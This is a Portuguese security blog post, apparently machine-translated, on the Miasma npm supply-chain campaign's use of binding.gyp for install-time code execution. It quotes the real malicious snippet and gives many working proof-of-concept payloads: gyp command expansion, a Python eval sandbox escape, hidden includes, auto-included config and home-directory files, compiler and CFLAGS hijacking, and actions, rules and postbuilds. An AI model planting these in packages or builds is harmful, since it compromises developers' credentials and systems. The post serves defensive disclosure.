
Passaram-se apenas alguns dias desde que o O ataque Miasma afetou 32 pacotes oficiais da Red Hat no npm. O vírus adicionou um ficheiro malicioso preinstall script para cada pacote comprometido, de modo que ficheiro index.js foi executado automaticamente assim que instalaste a dependência, recolhendo credenciais da nuvem, tokens de CI, chaves SSH e muito mais, antes mesmo de teres executado uma única linha do teu próprio código.
Nos dias que se seguiram, o Miasma espalhou-se muito para além dos seus alvos iniciais, afetando vários outros pacotes no npm, no PyPI e no GitHub, incluindo @vapi-ai/server-sdk (71 mil downloads semanais) e ai-sdk-ollama (31 mil downloads semanais).
No entanto, esta nova onda traz consigo uma novidade.
Se você fizesse uma auditoria a um destes pacotes e analisasse o seu package.json, não viu preinstall ou postinstall Se pensou que, ao verificar o gancho, a instalação era segura, pense novamente. A variante mais recente mudou o seu gatilho de package.json na íntegra e num ficheiro muito menos sujeito a escrutínio, que o npm executará de bom grado por si no momento da instalação: binding.gyp.
Neste artigo, vou aprofundar o tema binding.gyp. Vamos ver o que é, por que é que o npm o executa e a surpreendente variedade de formas como pode ser explorado para executar código arbitrário, desde contornar a sandbox para sequestro do compilador, tudo isto enquanto parece um ficheiro de compilação inofensivo.
O que são o node-gyp e o binding.gyp?
Muitos pacotes do npm não são escritos exclusivamente em JavaScript. Eles incluem complementos nativos escritos em C ou C++ que precisam de ser compilados num ficheiro binário antes de o Node os poder carregar. A ferramenta responsável por essa etapa de compilação é node-gyp, uma ferramenta de compilação multiplataforma que o npm integra e executa automaticamente. Trata-se de um wrapper em torno do GYP, sigla para «Generate Your Projects», um sistema de compilação criado originalmente pela Google para o projeto Chromium. No entanto, a Google retirou o Chromium desse sistema e deixou de o manter, pelo que o node-gyp depende agora de um fork mantido pelo Node.js.
node-gyp sabe o que compilar ao ler um ficheiro chamado binding.gyp que se encontra na raiz do pacote. Trata-se de um ficheiro semelhante a JSON que descreve a compilação (tecnicamente, um literal Python, o que será importante mais tarde). Descreve quais os ficheiros de código-fonte a compilar, quais os diretórios de inclusão a utilizar, e assim por diante. Um ficheiro normal e simples binding.gyp poderia ser assim:
{
"targets": [
{
"target_name": "addon",
"sources": ["src/addon.cc"]
}
]
}
No entanto, isto pode facilmente tornar-se um problema de segurança. Quando o npm instala um pacote e deteta um binding.gyp na sua raiz, é executado automaticamente node-gyp reconstruir para esse pacote como parte da instalação. O pacote não precisa de registar nenhum script em package.json para que isso aconteça. A simples presença de um binding.gyp Esse ficheiro é suficiente para que o código seja executado durante a instalação.
Portanto, mesmo um pacote com um package.json, sem nenhum gancho de ciclo de vida, irá acionar a cadeia de ferramentas gyp no momento da instalação simplesmente pelo facto de o ficheiro existir.
Como a Miasma tirou partido disso
Eis um excerto real do que o vírus inseriu nos pacotes comprometidos:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}À primeira vista, isto parece um alvo de compilação chamado Configuração com um único ficheiro fonte. Observe mais atentamente o fontes matriz. Em vez de um nome de ficheiro simples, contém uma cadeia de caracteres entre <!(...).
Isso <!(...) A sintaxe é uma funcionalidade do gyp denominada «expansão de comando». Quando o gyp analisa este ficheiro, não trata o conteúdo como uma cadeia de caracteres literal. Em vez disso, executa o comando de shell incluído e substitui o conteúdo do campo pela saída desse comando.
Então, quando node-gyp ao processar o alvo, executa:
node index.js > /dev/null 2>&1 && echo stub.cEm resumo:
ficheiro index.jsexecuta a carga maliciosa. Istoindex.jsé a mesma carga útil Miasma que vimos no ataques anteriores à Red Hat, o programa de roubo de credenciais e worm ofuscado desta campanha.> /dev/null 2>&1desvia toda a saída, para que nada de suspeito apareça nos registos de instalação.&& echo stub.cimprime um nome de ficheiro com aparência inofensiva. O Gyp captura esse nome como o valor dofontesentrada, pelo que a compilação continua e nada parece estar avariado.
O pacote de instalação é executado, não emite nenhum som e a instalação é concluída normalmente. Não é necessário utilizar um gancho de pré-instalação.
A sintaxe de expansão e por que é ainda pior do que parece
Na verdade, o GYP oferece várias variantes de expansão de comandos:
<!(command)/>!(comando)/^!(comando)– executa o comando e substitui a sua saída bruta por uma única cadeia de caracteres.<!@(command)/>!@(comando)/^!@(comando)– executa o comando e divide a sua saída numa lista, o que é útil quando o gyp espera um array.<!pymod_do_main(module args)– importaçõesmódulocomo um módulo Python e chama o seuDoMain()função, utilizando o valor de retorno como substituição.<|(name item1 item2 ...)cria um ficheiro chamadonomeno momento da análise, com cada item numa linha separada.
Todas estas operações são executadas na fase de análise, antes de a compilação propriamente dita ter lugar.
Intuitivamente, seria de esperar que isto só acontecesse em campos reais e documentados, como fontes, bibliotecas ou directórios_incluídos. Essa intuição está errada, e é aqui que a coisa começa a ficar interessante.
O GYP não limita a expansão de comandos a uma lista conhecida de campos. Quando carrega um .gyp ficheiro, percorre toda a estrutura analisada de forma recursiva e expande <!(...) e <!@(...) dentro de qualquer valor de cadeia de caracteres que encontrar, independentemente da chave à qual essa cadeia pertença. Não existe nenhum esquema que especifique que «apenas estes nomes de campos são permitidos».
Na prática, isso significa que um invasor pode inventar um nome de campo (como alguma_chave_aleatória) que não consta de forma alguma na documentação do gyp, e o comando dentro dele continuará a ser executado:
{
"some_random_key": "<!(node evil.js && echo 0)",
"targets": []
}Não há alguma_chave_aleatória campo em gyp. Não é necessário que seja um. A cadeia de caracteres associada a essa chave contém um <!(...) token, a fase de expansão recursiva chega até ele e o comando é executado. É isso que torna a revisão destes casos tão complicada. Não basta verificar apenas os poucos campos que se suspeita serem perigosos, porque a carga útil pode estar oculta sob qualquer chave e a qualquer profundidade no ficheiro.
escape da caixa de areia
Achava que as expansões de comando mental eram arriscadas? A partir daqui, a situação só piora.
Até agora, abordámos binding.gyp como um ficheiro JSON um pouco invulgar, com algumas funcionalidades adicionais. Na verdade, trata-se de um dicionário Python, e o ficheiro é entregue diretamente ao Python eval(). Percebes onde quero chegar?
É isso mesmo: o ficheiro que o npm executa por si durante a instalação é analisado pelo eval. Os autores do Gyp estavam cientes de que isso poderia ser alvo de abusos, por isso denominam eval sem as funções integradas:
eval(file_contents, {"__builtins__": {}}, None)A ideia é que, sem funções integradas disponíveis, um atacante que controle o ficheiro gyp não consiga realizar nenhuma ação perigosa, como executar um comando de shell ou ler ficheiros do disco. Os elementos básicos que normalmente se usariam para isso, tais como __import__ para carregar o os ou abrir todas as possibilidades de alterar um ficheiro foram removidas. Trata-se de uma sandbox clássica. No entanto, tal como quase todas as tentativas de isolar o Python eval, pode ser escapado.
Podemos sair imediatamente dessa área restrita e fazer com que o GYP execute código Python arbitrário. Aqui está um exemplo completo de código malicioso binding.gyp, na íntegra:
[c para c em ().__class__.__base__.__subclasses__() se c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')É isso. É todo o ficheiro. Não é necessária nenhuma sintaxe JSON. Não utilizámos nenhuma das habituais metas ou fontes campos que seria de esperar encontrar num ficheiro gyp. Apenas uma única expressão Python. Funciona porque, antes nó evil.js quando é chamada, a expressão recorre a um pequeno truque para sair de eval()a área de testes.
As funções perigosas foram removidas, mas os objetos inofensivos com os quais ainda se pode interagir contêm, discretamente, referências ocultas a elas. Começando pela tupla vazia inofensiva (), percorre as relações entre objetos internos do Python até encontrar algo que ainda mantenha uma referência às funções que foram removidas, recupera-as e usa isso para importar o os módulo e executar o comando do shell nó evil.js.
E isto é executado assim que alguém executa npm install <package>, apenas como um efeito secundário da análise do ficheiro pelo gyp.
Uma vez que toda a sintaxe do gyp é, essencialmente, apenas um dicionário Python, a expressão pode ser inserida em qualquer valor de um ficheiro de compilação que, de resto, pareça completamente normal:
{
"variables": {
"module_name": "fast_crypto",
"openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
},
"targets": [
{
"target_name": "<(module_name)",
"sources": ["src/binding.cc", "src/crypto.cc"],
"include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
"defines": ["NAPI_VERSION=8"],
}
]
}
Isto é um trabalho binding.gyp que realmente criaria um módulo nativo. A carga útil está oculta dentro do openssl_fips variável, concebida para se integrar no resto do ficheiro de compilação. Não <!(...) foi necessário expandir o comando.
O mesmo se aplica às condições. O GYP permite que um ficheiro de compilação aplique configurações diferentes consoante o ambiente, através de um condições chave.
"conditions": [
["OS=='win'", { "sources": ["socket_win.cc"] }],
["OS=='linux'", { "defines": ["LINUX"] }],
]
Essas cadeias de condições, "SO=='win'", destinam-se a ser pequenas verificações booleanas. Mas o gyp avalia-as da mesma forma que analisa o ficheiro: compila cada uma delas e executa-as através de eval(), com as mesmas funções internas simplificadas. Isto significa que uma condição pode, de facto, conter qualquer expressão Python arbitrária. Utilizando o mesmo escape da sandbox, podemos transformar o condições transforma-se num outro vetor de ataque a ter em conta:
"conditions": [
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]
Acabámos de vos mostrar como converter binding.gyp num executor de código arbitrário que é executado durante a instalação (sem quaisquer ganchos pós-instalação).
Talvez se pergunte por que é que isto é tão importante. Já dispomos de várias formas de executar código durante a instalação. Há postinstall em package.json. Existem expansões de comandos em binding.gyp.
A diferença aqui é que as funcionalidades reais e documentadas apresentam riscos, mas riscos que o ecossistema já compreende. Um revisor sabe que deve ler o scripts inserir package.json. É possível configurar um scanner para sinalizar <!(...) expansões. Podemos antecipá-las, estabelecer regras para elas e defender-nos contra elas, precisamente porque se prevê que existam.
Fugir de uma sandbox é um problema diferente, porque isso nunca foi planeado. Ninguém espera que binding.gyp apenas para hospedar código Python puro que é executado no momento da instalação.
Ocultar código em ficheiros incluídos
Até agora, todas as cargas úteis têm estado alojadas num único binding.gyp ficheiro. Não é necessário.
binding.gyp suporta um inclui chave. O seu objetivo é isolar as configurações de compilação partilhadas num ficheiro separado e incorporá-las em vários alvos ou projetos, para que não seja necessário repetir o mesmo trabalho. Quando o gyp encontra um inclui Quando encontra uma entrada, carrega esse ficheiro e integra o seu conteúdo no ficheiro atual antes de prosseguir com o processamento.
O problema é que o ficheiro incluído é processado exatamente como o principal binding.gyp, o que significa que todas as técnicas de expansão ou de evasão de sandbox descritas nas secções anteriores também se aplicam neste contexto. Um atacante pode transferir a carga útil para fora de binding.gyp e num ficheiro incluído, deixando o ficheiro principal com o aspeto de um ficheiro de configuração de compilação normal:
{
"includes": ["evil"],
"targets": [...]
}O incluído mal O ficheiro pode então conter a carga útil propriamente dita, que, por sua vez, pode ser ocultada sob uma chave arbitrária, em qualquer ponto do ficheiro.
{
"anyrandomname": {
"somethingarbitrary": "<!(node evil_script.js && echo 0)"
}
}Há duas coisas que tornam isto ótimo para um atacante e mau para um revisor. Em primeiro lugar, o ficheiro incluído pode ter qualquer nome. Não precisa de um .gyp ou .gypi extensão. Basta que contenha dados válidos no formato JSON. Um ficheiro com o nome inocente de configuração ou LICENÇA funciona igualmente bem.
Em segundo lugar, inclui são transitivas. Um ficheiro incluído pode, por sua vez, incluir outro ficheiro, que pode incluir outro, e assim sucessivamente. Ora, a carga útil executada durante a instalação pode estar a três ou quatro ficheiros de distância do binding.gyp começaste a analisar.
Inclusões automáticas e persistência
Achas que já percebeste como funcionam as inclusões? Há uma surpresa: nem sequer precisas de um inclui é importante, porque o node-gyp descarrega alguns ficheiros por conta própria.
Quando o node-gyp configura uma compilação, procura dois ficheiros na raiz do pacote, config.gypi e common.gypi, e inclui à força todos os que encontrar, exatamente como se os tivesse listado em inclui. São processados como qualquer outro ficheiro gyp, pelo que todos os truques das secções anteriores funcionam neles. O problema para quem revê é que nada em binding.gyp aponta para eles. A binding.gyp pode ser um único par de chaves vazio e, mesmo assim, extrair uma carga útil de um elemento irmão config.gypi:
{ }{
"variables": {
"anything": "<!(node evil.js && echo 0)"
}
}O primeiro ficheiro é o ficheiro completo binding.gyp. O segundo é config.gypi, ali ao lado, sem dar nas vistas, e é executado durante a instalação.
Isso é mau, mas o que se segue é pior. O node-gyp também inclui automaticamente ~/.gyp/include.gypi, resolvido a partir do diretório pessoal do utilizador, em todas as compilações do gyp que esse utilizador executar. Não neste projeto, mas em todos os projetos. Basta colocar um código malicioso lá uma vez e ele permanecerá em todas as compilações nativas npm install com um binding.gyp nunca mais faças isso.
Incorporar código através de dependências
À parte de inclui, os alvos do gyp podem declarar dependências em outros alvos definidos de forma totalmente diferente .gyp arquivos.
Uma vez que uma dependência aponta para outro ficheiro gyp, e esse ficheiro é analisado e expandido como qualquer outro, as dependências proporcionam a um atacante uma segunda forma independente de aceder ao código de outro ficheiro:
{
"targets": [
{
"target_name": "main",
"type": "none",
"dependencies": ["dep.gyp:dep_target"]
}
]
}O referido dep.gyp O ficheiro armazena então a carga útil dentro de um dos seus alvos:
{
"targets": [
{
"target_name": "dep_target",
"type": "none",
"sources": ["<!(node malicious.js && echo stub.c)"]
}
]
}Tal como no caso de inclui, o nome do ficheiro referenciado é irrelevante, desde que contenha dados válidos no formato JSON. E tal como inclui, estes dependências também pode ser transitivo.
Desvio do compilador
O binding.gyp controla também a forma como o código nativo é compilado, qual o compilador a utilizar e quais os parâmetros a passar-lhe, e esse controlo torna-se, por si só, um vetor de ataque.
Uma compilação nativa tem de saber qual o compilador a utilizar e quais as opções a especificar. O Gyp disponibiliza esta informação em dois locais:
- conforme as definições de cada alvo, tais como
cflags,define, edirectórios_incluídos. definir_configurações_globais(Linux / macOS) – um bloco de nível superior num ficheiro gyp que define a cadeia de ferramentas para toda a compilação:- o compilador C (
CC) - o compilador C++ (
CXX) - o ligador (
LINK) - o programa de compactação (
AR) - opções do compilador (
CFLAGS) - opções do compilador (
LDFLAGS)
- o compilador C (
Uma vez que a compilação ocorre durante a instalação, um agente malicioso poderia substituir o compilador, configurando-o para utilizar o seu próprio script:
{
"make_global_settings": [
["CC", "<(module_root_dir)/cc-evil.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Agora a compilação funciona cc-evil.sh como o compilador para cada etapa de compilação, em que cc-evil.sh poderia ser assim:
nó "$(dirname "$0")/evil.js"
exec cc "$@"O script pode fazer o que quiser (por exemplo, executar evil.js) e, em seguida, chamar o compilador real para que a compilação continue a ser bem-sucedida e ninguém repare.
O GYP tem até uma convenção específica para isso, destinada a lançadores de compiladores como o ccache. A *_wrapper A opção `key` insere o seu programa à frente do compilador real:
{
"make_global_settings": [
["CC", "/usr/bin/cc"],
["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Aqui corre o gyp cc-evil-wrapper.sh /usr/bin/cc ..., passando o compilador real como argumento ao script malicioso.
Além disso, um invasor nem sequer precisa de substituir o compilador. Basta passar-lhe opções, e o gyp insere essas opções no ficheiro de compilação gerado. Numa compilação baseada no make, as opções passam a ser fazer variáveis, e fazer pode avaliar um $(shell) comando que encontra no seu interior. Assim, o valor de um sinalizador pode ser deturpado para transportar um comando malicioso.
Existem dois locais onde se pode injetar. No próprio alvo, por exemplo, através de cflags (ou xcode_configurações (no macOS):
{
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"],
"cflags": ["$(shell node <(module_root_dir)/evil.js)"]
}
]
}Ou globalmente para cada destino, através de definir_configurações_globais:
{
"make_global_settings": [
["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}Quando a compilação é executada, o código malicioso $(shell ...) O comando é executado e a saída do comando é transmitida ao compilador como um parâmetro inofensivo, pelo que a compilação decorre com sucesso.
O mecanismo exato para «sequestrar» um compilador pode variar consoante a ferramenta de compilação e o sistema operativo. No entanto, a principal lição a reter é que vale a pena tratar as configurações do compilador e do ligador como se fossem código, uma vez que ferramentas de compilação como fazer podem avaliar o que há dentro deles em npm install hora.
Executar código através de ações
Até agora, todos os vetores têm recorrido à expansão de comandos, à evasão da sandbox ou ao sequestro do compilador. O GYP possui outra funcionalidade que, por definição, executa comandos: ações.
Uma ação é uma etapa de compilação associada a um alvo que executa um comando arbitrário, normalmente para gerar um ficheiro-fonte ou processar algum dado de entrada antes da compilação. Trata-se de uma funcionalidade documentada que se encontra dentro do ações matriz. Cada ação especifica um comando a executar, as suas entradas e as suas saídas.
Uma vez que o objetivo de uma ação é executar um comando, um atacante nem sequer precisa da sintaxe de expansão neste caso. Basta pedir ao gyp para executar a sua carga útil diretamente:
{
"targets": [
{
"target_name": "via_actions",
"type": "none",
"actions": [
{
"action_name": "poc_action",
"inputs": [],
"outputs": ["poc_action_done"],
"action": ["node", "evil.js"]
}
]
}
]
}Quando o alvo é compilado, o gyp é executado nó evil.js. Não <!(...) É necessário, não há ficheiro-fonte para compilar, apenas uma etapa de compilação cuja única função é executar um comando.
Há um parente próximo que vale a pena conhecer: regras. Uma regra é semelhante a uma ação, com a diferença de que é executada uma vez por cada ficheiro de entrada que corresponda a uma determinada extensão. Basta atribuir uma regra a um ficheiro com a extensão correta para que o comando correspondente seja executado nesse ficheiro:
{
"targets": [
{
"target_name": "via_rules",
"type": "none",
"sources": ["trigger.poc"],
"rules": [
{
"rule_name": "poc_rule",
"extension": "poc",
"outputs": ["<(RULE_INPUT_ROOT).done"],
"action": ["node", "evil.js"]
}
]
}
]
}Aqui, o destino indica um único ficheiro de origem, trigger.poc. A regra estabelece que, para cada ficheiro de entrada cujo nome termine em .poc, o Gyp devia funcionar nó evil.js. O atacante controla ambas as partes, pelo que envia um ficheiro descartável com a extensão correspondente, e a regra é acionada contra esse ficheiro durante a compilação. O efeito é o mesmo que o de uma ação, sendo que o gatilho é um ficheiro correspondente, em vez do próprio alvo.
Há um terceiro membro desta família, execuções pós-compilação, um comando que é executado após a compilação de um alvo. Ele tem o mesmo tipo de ação matriz:
{
"targets": [
{
"target_name": "via_postbuilds",
"type": "none",
"postbuilds": [
{
"postbuild_name": "poc_postbuild",
"action": ["node", "evil.js"]
}
]
}
]
}A principal conclusão é que um binding.gyp o ficheiro executa o código durante a instalação, exatamente como um preinstall ou postinstall ligar package.json, pelo que merece exatamente a mesma desconfiança. A presença de binding.gyp uma dependência significa que o código pode ser executado durante a instalação, independentemente do que package.json diz. Um limpo package.json A ausência de scripts de instalação já não é prova de que nada funciona.
As equipas de segurança devem estar atentas a esta questão. Os autores de ataques à cadeia de abastecimento, como o Miasma, estão claramente à procura de novas formas de executar código durante a instalação, e binding.gyp é algo que passa facilmente despercebido, especialmente quando envolve comportamentos não documentados, como as fugas da sandbox. Seria ingénuo pensar que esta será a última vez que nos deparamos com isto.
Como a Aikido detecta isso
Se é Aikido , verifique o seu feed central e filtre por problemas relacionados com malware. A recente campanha Miasma, que agora utiliza o momento da instalação binding.gyp A execução surge como um problema crítico 100/100. Aikido todas as noites, mas recomendamos que inicie uma nova verificação manual imediatamente se achar que pode estar afetado.
Ainda não é Aikido ? Crie uma conta e ligue os seus repositórios. A nossa proteção contra malware está incluída no plano gratuito, sem necessidade de cartão de crédito.
Para uma camada adicional deproteção, o Aikido Device Protection oferece-lhe visibilidade e controlo sobre os pacotes de software instalados nos dispositivos da sua equipa, abrangendo extensões de navegador, bibliotecas, plug-ins e dependências.
Para impedir que um pacote como este chegue à fase de instalação, utilize Aikido Chain (de código aberto). Este integra-se no seu fluxo de trabalho existente, interceptando os comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.

